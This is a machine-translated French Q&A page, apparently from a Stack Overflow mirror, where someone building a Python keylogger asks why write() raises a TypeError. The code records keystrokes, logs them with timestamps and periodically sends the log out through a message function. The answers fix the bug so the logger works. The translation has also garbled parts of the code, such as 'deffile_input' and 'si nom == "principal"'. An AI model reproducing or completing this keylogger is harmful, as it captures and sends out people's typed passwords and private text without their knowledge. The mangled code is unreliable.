web-dev-qa-db-fra.com

TypeError: l'argument write () doit être str, pas list

deffile_input (enregistré):

now_time = datetime.datetime.now()
w = open("LOG.txt", 'a')
w.write(recorded)
w.write("\n")
w.write(now_time)
w.write("--------------------------------------")
w .close()

si nom == "principal":

while 1:

    status = time.localtime()
    result = []
    keyboard.press_and_release('space')
    recorded = keyboard.record(until='enter')
    file_input(recorded)
    if (status.tm_min == 30):
        f = open("LOG.txt", 'r')
        file_content = f.read()
        f.close()
        send_simple_message(file_content)

im essayant d'écrire un enregistreur de frappe dans python et j'ai fait face à une erreur de type comme ça, comment puis-je résoudre ce problème?

je viens de mettre une variable enregistrée dans write () et cela fait une erreur de type et le type de variable enregistrée est la liste. j'ai donc essayé d'utiliser join func mais cela n'a pas fonctionné

6
Gripex

Vous essayez d'écrire dans un fichier en utilisant w.write() mais cela ne prend qu'une chaîne comme argument. now_time Est un type 'datetime' et non une chaîne. si vous n'avez pas besoin de formater la date, vous pouvez simplement le faire à la place:

w.write(str(nowtime))

Même chose avec

w.write(recorded)

recorded est une liste d'événements, vous devez l'utiliser pour construire une chaîne avant d'essayer d'écrire cette chaîne dans le fichier. Par exemple:

recorded = keyboard.record(until='enter')
typedstr = " ".join(keyboard.get_typed_strings(recorded))

Ensuite, à l'intérieur de la fonction file_input(), vous pouvez:

w.write(typedstr)
10
Youssef Khar

En passant à w.write(str(recorded)) mon problème a été résolu.

1
Amit Ghosh